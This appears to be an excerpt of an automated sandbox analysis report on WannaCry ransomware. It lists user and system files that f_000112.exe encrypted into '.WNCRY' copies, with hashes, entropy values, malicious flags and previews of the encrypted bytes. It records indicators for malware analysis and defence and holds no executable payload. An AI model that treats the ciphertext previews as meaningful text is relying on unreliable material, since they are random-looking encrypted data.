                                                                                                                                                                              Preview:WANACRY!.....Y.......&P...D,'!>...qt..V.DK.ah.......b5%.....C...S0#..^e"...yX7. ...%B.3...Q....Avx~.h...'eL.~.F.M..7.Pc..%.Z[...^.5.s.*A...V...,..r.U..Z.....8bC..?.......7.......J.g.!1..}.vDi.u.7Q..p..K.].w5.@n.....!......1..........)..F.#7.f.3.80?......H.......!...........`...J.B.j."..9[....P.E....8..X.c...H,Z...n.9...D...(X).h+......7&R"#MSkH..;XN1.`......,...a...a..........K.q.8f.i.PE.....!.."^...@.\.....X.....c..k..;VApo9O....Y.sf.jr\..8|.t|.."...\.f.+.Q..{..G.0.....Ek.....A.(VT6#5....h....#..N..-.+./N.......y..@.vm....v>.lA.IQ+......5't..A.zu...w0.\..8..^.aAg...a...{....G|.uG[|2H$....i;.....F....Ocg:f-o......9P....?M...'.ecP..k.f..E.r.....{OI...\....Lb*.phtD..8....D.#A.L......>..H'.\."j51.VE..5....<..yN....0.B52.M...^l$..7.i.O:s,n..1.}.5..#..x.......4...L..v..u`....2.M..L}C8E..1......+...E..\R_....O.`......G.....-...1.~nO......./.c..X...`..V.I{.Zt......$.>.'.(...H...Z...Gp..y7.=..U...=......S...V4.>..cC..3.v)...?..M.:.?...O.,_..Q

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):104008
                                                                                                                                                                              Entropy (8bit):7.998151236613697
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:PKMwibwrBGFkAK5olYFlX0MinpPBnYhkxGTqulzdy:PbwrBGOAK5olYTXjQRxMy
                                                                                                                                                                              MD5:0E4156D86AA0893F0233797108A39D96
                                                                                                                                                                              SHA1:A041E0F85FE0E87BA764EA2086D5352050FCFF99
                                                                                                                                                                              SHA-256:CF0303E98F3C9E038875EBCD6D2710B072F2F78A9F43140DE4EF84D45D13BA98
                                                                                                                                                                              SHA-512:F053E6E3BA6445C20C8931C815EFB953B7FE4E0C86739EC36B345D82CA664A92AC2DB4D674CB2E4E8D62690DFF7BFB84D147FD6B37AFAEE473D80DAF6DB527D0
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....k{..w.upu.^5..fX...]0ma...,.v.....+`..q.....~t\...X..Cd2.P..b.....U....JP.9...=.........c....`....l.d.P...].c..i9.....x......4MsN}......wP.....He.#...lB..gRa.L}~........6.....Z....)....?I..LF.b#..tF..SoF{._.QAH....xf......(.H...'.....U......%........tOk.x[*...Yb!...d.rk.W........2.e.V.bF.+_..H.,+h@;T....J...U..w...f......5.}...C...y...R....Z#...<.s...F:......`./;w.\l.R../.x.....Ma\...k......v...W6Z........,^.J(.nH...|..{8"..).[.sYC.@.q~E~...1..yW.(..k.c,..%*....$=p...2.......]...C\E....!...L...#...x..a..&<.l....0.....O.d..Q7g.3W.b.}.no.j^....$8..)^Q/...J.p......R.....Y]..E..e.ui..Sh.1h.Zo.. ..m+.4.-..M...].y.kr...n..P..i.4.TpXe.8.8..B..M.......u(...jN..E~i.....!<..L2o.R..O.6.,N...p.0.....?.......Ue....6..#...W..#.../..Rq.Lm..0.\..4Y...k.-Y....F.U...`..........~.N....9.....z*..l...L.c@R........E....j.....Vs...`V.K.{.T.+.jd.. ..c....>J~..\.&....?'...w..f..V.....KF.EFW....).L...!.b...(_.B..my...~.{.*......w.qF....=...a1x1..y

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):217800
                                                                                                                                                                              Entropy (8bit):7.999193735180458
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:d9H6IyG8PihndAfpYLcAVo3VBJEz0PWNBp5w6vevQNbgPHy91vu4K8PHqKABbPqk:KpqpEYLcn3bJENveoNEvy91vu98SKA9
                                                                                                                                                                              MD5:B15A1635192CC13D4839A67A26A218B0
                                                                                                                                                                              SHA1:CE3CD8D20C7476F6FF846158C285586D4876AD97
                                                                                                                                                                              SHA-256:6A3BAD267F0F72C900D534B8C611BB3B4094BFCC46F80466DE834B0146C5D3E9
                                                                                                                                                                              SHA-512:B0DBFDAD0374B7377F9A2BD927521503DA7C9D7561EF58A51BDA67C148CF8D2D45BD6B82622CFF3EA053B49DE5EA07CEDB76F5C23BA2C9FC31045816A7668099
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......&O....0...K.:.F..N.+..s7.'.oV.._/...?..[......^.+.7@...R..W`..a.......p..Z..e:$.i.H........I"M........q..SQ................).*3r.._...<..@...=...Nkm'[0c.-.b..z..tG .....2....].x.....f+.&....4..v..=......c3.Gp....c9.iA...._*.x6?......1KnOJ2.{.....Q......R....'.#q...c2Qb...o....v..o..C......z...v....A5M..@*m.I80..mD..w...Et..8..F.F.MB{.... .$...u5.7.....eM.."..4..E....[.fT....<@`kB4..T....K.mH.. ..}l....^&...~.s....;M....7..,>..*W4..6....7,A9.".-.....4.%....&BC.IP..=........LN....E.n...N$....}.?..1..t,....!.u&7......S.....6.....wO..f+3....8e...Zt..$K.......nU..b.WJR..].........qL..t.9.....K....%a..v.k1..9g...#]'.?.4.........p?..K.Y.....z.x.8.....}p7........9.+.>k..Z....v.L..N2R.nP.....[~....N......p...n.,.2.p%.&._s.........n...U.TR..*"g..Z...F.7.'.67.=.......a...OS. .....N..Kw..a^#..ZMS.>....c..P.%..;.S.........z_...sq....>.../k..-.$u..D.._..,..KTx....z.fk...;....@..t+...J..1]..j..L.......dt$83Y...%.....U?.Z.s..m..;.t.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.1.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.099804728873662
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEoHQkmV+xPjvlHVzwTKHUHScv8i9TVz8/nireQr6pDqpMg80M:bkEkLmV+xrvRVkyUHxVz8/nire+6Nhgc
                                                                                                                                                                              MD5:D28144FD38687BC47F7D5254292894F2
                                                                                                                                                                              SHA1:ECF22D0108111F0F332AE9F6E00A561D4F452D9F
                                                                                                                                                                              SHA-256:7C4878C845E2B655A4B16E267188D72F833E4B46D5A47A873106DAF2BABFDDD8
                                                                                                                                                                              SHA-512:B7B72172642D3E1CE72914A084C3193D855898EFAEEE146151BAD4DCE7FB46408C97A6156E99409E46CDD5F5B18D311DB98C7EB3AD125EB757A5332429C0ABF1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....r...-.6..%#v....-.W...Vs[....2$....8.oq...b..W.Ldm.,F...:B.W.....X...n.4.$.*$..+6.q.Y.7%+..bmk(pHRR3.Z(...6..b5....b/.Y.q...E.A.%.7..q.l.e..Vp.I+.~.....N(CF.....]...s....D.h.....!..9..!.....#..L.Q.........Y6...#...V...ss.........1ML@_.J.:L.{.i......................i..Z@

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.2.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.111936094011412
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEOvfjohxNkVUwLQ91oTocI9KjukYX0/flWvaPXfb+8cXRon:bkEOvfUhEVUSQXCo5HSl6a3UCn
                                                                                                                                                                              MD5:CE76D2E78A0700E0853611363C51977E
                                                                                                                                                                              SHA1:6825A0E788042BE4973E0E4B723D337A13A0C50E
                                                                                                                                                                              SHA-256:0D45B7B22E5F2C25DCFD8EBE0B7040B9E19728A4ED319220CBDF0CA8A5530918
                                                                                                                                                                              SHA-512:0A81FC8D5E31935C640A3823695EB69FA27C2C6E7BE4D03F17A4DAF2E23939161D58C9336ADB894A6AEC27450ED580DCBAE6DBB889C1218D97A2CF36C96D9186
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......=...v.2F.3y...]..$...4Isp..G....V.I..=..O.J..0..I.Cz.....V.......k.'.b.Y[...n....@=......J...[...1...5.c..)y$6..M..X.nQ.gNR.ekR!$...u...8.......e.N|.AZ.......[..K..F.`....xt.4:..8.(..S./..+..R.}o.RnH......".G.Y...(.P..Vu:.H#....t4SDK-`Y"............Q..i....@..^W.T.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):217800
                                                                                                                                                                              Entropy (8bit):7.999220455466243
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:etRToHi3x1wK/86isHKWNTnhHxfjgRo5c:etRToHux1HTKOhVjgQc
                                                                                                                                                                              MD5:440095A23DE0303C28943EF4AF6DB1F4
                                                                                                                                                                              SHA1:2F6035C1736E66CD47F30ADD8C0519E8692CC3F8
                                                                                                                                                                              SHA-256:B5A4B3E50858763B906266E073547925780A3985725FAB132816EC7FA8236686
                                                                                                                                                                              SHA-512:5ADAC258B55927110FA243142010CD95227B228D7E0856C17449E6610F086B63EA16DC537F88EAB3910DF784BD36233C1F6A00E288DFFC3F7A9987E817295780
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....M....s..X.(}.: . O......p....h..N..Lb1..Y..)#...WB.%.{<.2T0..+.<&.e>.Hx.........".........:=K....2W..>K.W0....s.w...m+8..d5#L...^V...(....]i.Y...0.T../.._s.q.......q...V..h........R....iL..{..1..T..sK:......wk...`..Rp.]B.X.>.CR|U...+.4..p.}.=..n.....Q......i..xB.>..K..e)....,]%.-O.Wf........J..|.{"..T.6.P..e....=ze.L..!.....0.d......#iE#.F2;F\.Z......9.PJ..c.RW.P6.!....0p..VLs..J........=O......#....x.....S.K.y.-....G....Q)...`.....|rl.p..*C...c.hL...].g..-.>_.....?S...`T..ct..~G..U.<l#..R..C.n...]Q$.N....o-..n...0..w.W.=....G..,.s..%.1>sC....vJ>..f(..S.c{....g..<......A.q..[R....jEQL...m[...jmGQl}<...-..Aw..v......_.y.:y.Sk..........=.].C..43.<.o(c.g,..F....>..a.Zus..RN*}....,.ky..{...w.@..d......Lm.....W..t`...Q$..`{Q..L...-......S.F)..&d"........:...cEY.u...y...B......5l.8.....6G+R..s|HA...5.b.....N.>.'..5fw...!....-....=v......T..|.....t..D.|.4:f.}|l...6.C...;^......M.PG.(.ZS....O.8r.f..XT..p.......g.JF..:.id...S s,..uc...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.1.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.115424119472874
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkErXoSnKJL401yvlu80M8SQNnAjH7y5t3m2OyWm1DjDTCGgr2g:bkErXjKJs01yv2hNIW5tx1RTCj2g
                                                                                                                                                                              MD5:1F3D4DAC932A92A0CB4AF59A4FBFC8DF
                                                                                                                                                                              SHA1:F8CD4C4243CFD3026A96927185AF9A02C0A5851F
                                                                                                                                                                              SHA-256:1D7C92BB3C48DAB1491F56AD20154CAE20179188A9F88394891B90A647B0063F
                                                                                                                                                                              SHA-512:56873D22A95765543E9389E7C716837EFE9B2C7379AA0C036184E7CFD5A73BDC28715996CCA88124CA1741690C7FF0318F249C00BD8DEBBA1C55A636BC211EB3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........).X....m...c7.....0.3.I....-..pK......t.J...)...._.#..'=&\.'..X.....:5.S....4..hW..8..*..#..Xtc.O.W....5|.Aml..y....'..8.....z.Fny..X..3FDXZ\X .....}.#.`..t.CaPH.F..W..Ks>..tq.*...(.Pp....g.0b..!..$.._.....}...0.....X.p!....3.....*t.<..X.v..................8u.KS.B.0

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.2.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.18073517501344
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEPFus64SjyVhhUcWfOFUkS0L58AWfOH1eC6Sc8Wh6Xoz/9pHBfg/10:bkEosTSjyVEhGfHkfOVeRSdG5S+
                                                                                                                                                                              MD5:D300991F44BBEBA062E96230F381DF97
                                                                                                                                                                              SHA1:591D4891F7F27CEFB3761CCF67EA025DBF81D4DB
                                                                                                                                                                              SHA-256:FC2461AC0015A3FEC22DF1F799C52CB99F729278C33266A09D69D9723EBD956B
                                                                                                                                                                              SHA-512:64F76475E934BD3433B7BBA0AAF54266A13765AD590EC077AD7CEA28A75953902408ABA06E566C8B8E3508748EB51140EDBAE4C85824209BE17864F69EBECB79
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....^......i.iu8.j.P1.&.l..".v.a......!.. c....*....%y...F.;e.....K.Qu..h.R...`...s`t/_..fd.J.Q.,.x......<Q..._=.+/.wS!d...!...+h...$.r...of.......-.+.'.Q.g.eM..`S.v......41F.....$@.....kI..\T.K.G'.f..~r..\zl.f..=...........I$3.q.#.M...v.w..7....U...............a.f.gtNE..m...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):46296
                                                                                                                                                                              Entropy (8bit):7.996164596620755
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:NDrHCyQphgZ7MBbrPqh1BhD1e6zG7fQ0l3vEtkrMxdtz+yjYpd2GtZpchce:NayQpqZey7BhDpG74y/IkY7tr0byB
                                                                                                                                                                              MD5:09ACF6CC05E4617EE271581C23A348DF
                                                                                                                                                                              SHA1:5BC30E4954F9C0F1E710715FE05C644BC478F211
                                                                                                                                                                              SHA-256:580720E9E32704976C388B411667D84003E57EF0CFFDA4C07040B2315DFDCD03
                                                                                                                                                                              SHA-512:3355D0DDAED35078392C2FBB68BFC4C2C15D71E11E0B0F60E5376446A8966032194D12EEA226B41127885A877E1A88C3E57C0F2A8DA2380515B2BC9DF7658CC6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....xO.$...$t.).=.$.KD..z...s....Lfc..D|.+.;........59!:sQ...`o*.[K.+..}.va~P].h.G..+.V....[..ot.H.......?.p.k.....}....v...t...OV.?..`..2.....e..DCRe._....Z.>$>..7..8...Q...=.....F.u.....6.a;....,.\..$=.\3....O....E.~..:......)|E...E.;.g.?.sx.................G.(......-........:..8..0*01.....D.Y.Pm.......2G".......;.Xz...5M.d......@.....;..E..2.....8h.[~.e.\.{....AX.'.$.`e...0.LX.O..*R.Po...8..X$'c?.l .$q...L.I'..S..a...oA8..QeW...Ak...N.}}8*..u........0[......Z...d..6.NM....(..{0.P......If_n..|u6...,.......T.!.....8.O`.U.$,..%.;Le4_..{.......sz..2.$;..@.m.K...}.DqT......|.._.B#..srt...K....g ...Sd!..}.q...tv.O.....\[..#..V...=....^....Fx._....~.6....e......B<...X.v..Z.fW......y.L..M.......T...f....:.B.{...z!.%....c.I..U.g/..S.L/....g.(.F.(.4*.p&{x.0aEux@ .r..7..d..:.........5..v..?..U.....*.*.m..Y>`8jT^......k.F....Z.n.g{.u,9...Z2.a...o...y...,.Og..K.q..TH.~(kU...}.8..S$..>..v....1..W,G7)V...<.?!98M..4....U.?;X.U...t....REM...I.{

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\IconCache.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11496
                                                                                                                                                                              Entropy (8bit):7.984106366021224
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:ST6KzapSTGVCnq3emdSVxvbvuhdti3y602MIR9HC/tCFId00xkTytwPW4RoXH:GBJGkwLS/kdtiG2JIYK0swu4WXH
                                                                                                                                                                              MD5:3647489B8CAE59AD5E4A009FA289E402
                                                                                                                                                                              SHA1:88B971419227A2424B44FD5922E6C2EB0C703950
                                                                                                                                                                              SHA-256:2011C9B6A06C2980D8F8F7D742F32CBE9AECB4E270E04B3C46B286FDCF3C6537
                                                                                                                                                                              SHA-512:A5D22FA8F24564C40E03D0F4A7AEA1D2B09BD625F281CA0B4006B654273DEB6E7D476FB6534A4AC54A19C7761FA0D3468ABA100BC2AF25ED1691E9A388F4EB8E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....J.;..1.Y..D..O......>C.....a).+.b...->/m....WX.Gi5.oZ.....7.-..`b#....[3.n.jp..+.^l.....\..YVOG.+VR).`...ve.l.E..5...aDuD..d]d.{w.0.X?...q......*n..E....j........*ZH.FeR,..O!.~...`qD....l.......u......x.....PdY...8.-N_k[>L... 6S7k..:!....!...$....'.....+.......#s...A..X...u.U>....s.....=..n..o.....p9m....C..u).r..?.A.....".Y....rT..V5.+|.8q.?m.D...F<...dp.......0..t.....(.....e..{.s..8an.n'..+.^.J.......Ry.Q...7^..Bx.4.....z_..5j.=.a...N...S.Y..F.....u].;.5....v...y...V.U....E@$R....d.aF.-.c..gK.....H..U.U.Y..'.c...8..N.4.@..b..H..:.|u...........a.65,.D+..Q>LK..x<..h.=.....Ie..]rc.....8fm.."..V..w..j[._....VT.D.._..a....|....t1.4...~.ve..8d.Qcu......:..L.#...S&9.........[m.,..8"..Dc.%........,V.....D."[S9.X.... .|..<#.....0P.MR3..v\.<...J&...XdW.9.s&/..3....G,A..5.h.b|z.0`....7q.@.mZ...$g..N...&...F"n@,.h.&..9>.s.T.g.Y&2.e..S..MV{<M.g.k.6b...R<.$.=.$)...L.K...K.%.h.J3!Z...~G[.o..P...8.j_..[Wq.}.... .....5......,.&x..]..#.g..B.v.!T...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.850002765613167
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkP1GJpMRUX5sAvH9A3ZOkKcXpH7iAcbJ6icVtZZfLjoCL:bkP1GJeRq98ZOkKcXliAqRcjPfgY
                                                                                                                                                                              MD5:11B01066583AD6FDA247E46AFCAE05B5
                                                                                                                                                                              SHA1:BBDDAE36F3CD208B1AF02B573BACC15CBC008A60
                                                                                                                                                                              SHA-256:C48034D044E7E6EEBEE62574C651F4356F4FA201E2464442BDF5056F8A02C8FE
                                                                                                                                                                              SHA-512:12B7B0917A140B7FB5FB9085EED1AFF106C29E6AFF3B30F03824612A9EDFE98ACAF3B912D16AB772FBECD622826FFF1AB883E53CDFADAEEAA8024046D91F6807
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....G.....3.. ..?!=..]:..5.Y.."..t....EF.2.x....c..p.3.9.F./4.-.....-.^l..(.x>..5.e.l........p8`.R=...0..Q..l.....PO1.V......C1....q..}.k..)....s....E.=r.L.u....!..1.7M{....h.zMW}...y......V....G..L.......-..)..!..i.># !......wJ."<...::..._~...<............t.I..X;...p.o..~q'......Cz;:j..(...,J...#.PBv..u2..H..{S..W...d|....R.cs.t.>..K..t.......s.....Z.{...kF......p.B.....He..~..u...m......6.O.{.uZ=.#...Y...(o......a7...]9...G<...SR..K...MO.@s..gF.l..0...4tm.qn..J3..<....5.3..q..P.l.e.....1kt.d.$p.T.G.^.[U..J.d..X..{`...j...U.......,k.Om..d...x..M6\h.I..O.t).T.0vm..u..@.8k.(%..M".......#q1......Q..F.z...nU.}$8.F..&.Y.4..1.R...n.7..Q.g}.r.F..=...@\[..e.,.E..f.;...D..Q&..G.$.....Y..M.SIb..i.k.0..?,s7.~.c....%.+.....J.L..z.&.......P.%.....V).o..s%......P..FoE........}1..Q.L8Z.G...f.X...q._....E....Q.w#.......g\E.....W,u{x=^D.O...>..&ox...$..M?.....y..."N.e.d.z...J.Bp.{.P..C.I.....C...A.d.,..2...J%.fp.@{.UemB!.,.....=tT.i.R3tx;......".${R

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.858540325767331
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkdhObddnmrGoZBuLLAY9jAekNyZHe5CwsPSQXs/FchkdclRZmJB18VWVmcj4IIV:bkd47nCZEfAYtAekNy8wqQXECoclRe67
                                                                                                                                                                              MD5:C584CF9D958EA80EFD00766592082EB9
                                                                                                                                                                              SHA1:E173C8186FBED93B25766C197DE8C39B371816D0
                                                                                                                                                                              SHA-256:EBA6890D696D1F50A380D8AF59B5ED2CDD731D235BD559FDBC507CE657D66187
                                                                                                                                                                              SHA-512:7ADDB64F436AFCCB72EC742778FD865F9BAA4F2491DBDB8840CDF85947C82A167493DC5F1C27F10EDC221A8EDD52F15A04A965BD993882A33A5000C95382F267
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....&w.l}......K......Ya..;........t;[M..H'f..U.ttg2.F.w. ..X...9_cW).m.{s.g.6..MIS.....)...i.kb....^0..|#5..0.6..O/S-G.....Y...)*..C..~.]...*(.?.o.I....;.'..H.bd$I.P.L1l..7...@..."...?..5k.l.m.~..@...e......2K..+.m.#M.....(wyy.).MF..........yNE.....................H....9.q...........*k*...B..h;.v2..Y.W.%q......\....{-$}6.}.++'.o+sgC.....7...M...{h..G..3...0........r0c.`9..[.=...c...Tt....b.D.........d...C)....3.r...\......y...`LH..8m..U.C.....-W}.;....6...I..II..^(a.4%.3.J.{.,.."....Z.....P.in..kp....z..9(.&.i|...=..L..-1:.K.=.Y...hY%.?.......z%Nq..?..9..R..#.sI......j...^b....V......ii...9.r....q..D..J-...Hj,...w.$.z..-.+.T..CO.y..(.<.....Z.V\O.\..7.`.......$.@?....C.N?.N.tX.>...k....zS.j.o.5.......M.n.w@x.G...l...D.E.~.m.tQ...L.y..\MB%).#.~e..*...../.u.L..T.l_....#.&..`.E.C...YS.P`.s.....E`.Z0,n.dS."P.......l.[..v.ve.PD.....W.....HA........3...r...YR(.6.J.gg...J....k..F.g.7....!...R...'.U^..CK..^6S....h{).c.t*.......P

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84688750944476
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk8AK2YH4J71IUwsQwDKwApIOtPoG/8KmAZDgW8q75B6wT+V/Wwj:bkjn84LIrsGwvU+AZDgOB6Osey
                                                                                                                                                                              MD5:58278389C24C6114C699257B709D74F1
                                                                                                                                                                              SHA1:CDAA7889173F08B8A570BE423A00C22F89F2B0E9
                                                                                                                                                                              SHA-256:D7C23076AEC2DA93274577991949A71D63A94BCCCF924886224D15EADEADA331
                                                                                                                                                                              SHA-512:0D9EDAFDA7A5F508E32BB19D114C6E4ADF964CD739812E234E69ED0FAD05B77CC360DC92F63789B008C88F76BCC5916F376A3E57048D918B56A2C8801A520DCD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....q'.{`G.w#B...Z....O....y.........}m.4zs..Q.a...5./P.%..4".B...y..v%......FQr.......u.Q}..;'....\V.4a8.~...i......OQ.E.2............`...E.V..".rk.Q...[vf..I.....[.u..-g.K..\A....4..N.5c...'.[.~.V.X3.sum..,....L.!....7...n.LW...M...%.W>1;....A.............LDJ.H.'......F..W.-*v.1P.R.>..gIm.Od.%`.pC1Ot.P*..[...#...[.e...%...S."...o..v..OX..G=.:/.c.....".....G..c.......tb.)...\.[m...Bfvj.....J..#]...hI.$,..=.....H?..DZ[N..C#.E#&L....E..(..."...+.:...L...#o.!2_..vB................{x...~..R....4..I.C.r..x'.........N.. K.3.DO...aY@^.......c.&:.$l.7....,..BF....R...R..Xk\?-.#8aD.3[...@.JZ....nx.....P#',k4..U.u..xQ....%J)..n.K..Cc...I......$.1...C....eI.Nx...>....%...A.a......&"........uE ..........5w.R..LmH;>1..Kg...$..Q.B..<.^x....[A..al.>+......#..&%e@2.o.G.nQ.H......{.e..I&J]k..?..o..?...Bf<.....+. ....Fd......%-..s[..E...CR...n;....G.....vr..i...)U.H^.......OO.2{..:.pJY.B.S.L.....,... ._[f0.c.Vj[.L..L./.aR\...P..M.....Z.......ykf...<...g6..D

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854169564986162
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkVDFu32yDQf+LEH6rpGpJEKz4i3ql+QYCb7dXE3lN0U21GuEVEpXOQt1np/J:bkVxunDQf+wH6rpsrz4i3qk27dU1b21d
                                                                                                                                                                              MD5:7111DEC8CBBC878F7A4BCE116C25982A
                                                                                                                                                                              SHA1:C04D4DBCD76F32A167A590BF957B8B24CBCC7CE7
                                                                                                                                                                              SHA-256:3CC3645687BDCA73332FBA4CEE29D9F37B7399478B910A5A8C599FB15F09ECD8
                                                                                                                                                                              SHA-512:04BB302D1CAD4705CCA706C68B664B5F7390573A3A9B1C19F523A4113B279A022DE57ED5F08DF2EE5910A1679F2ADD64718DB5E7E0D965DFB42A8D46EEE62DDA
                                                                                                                                                                              Malicious:false
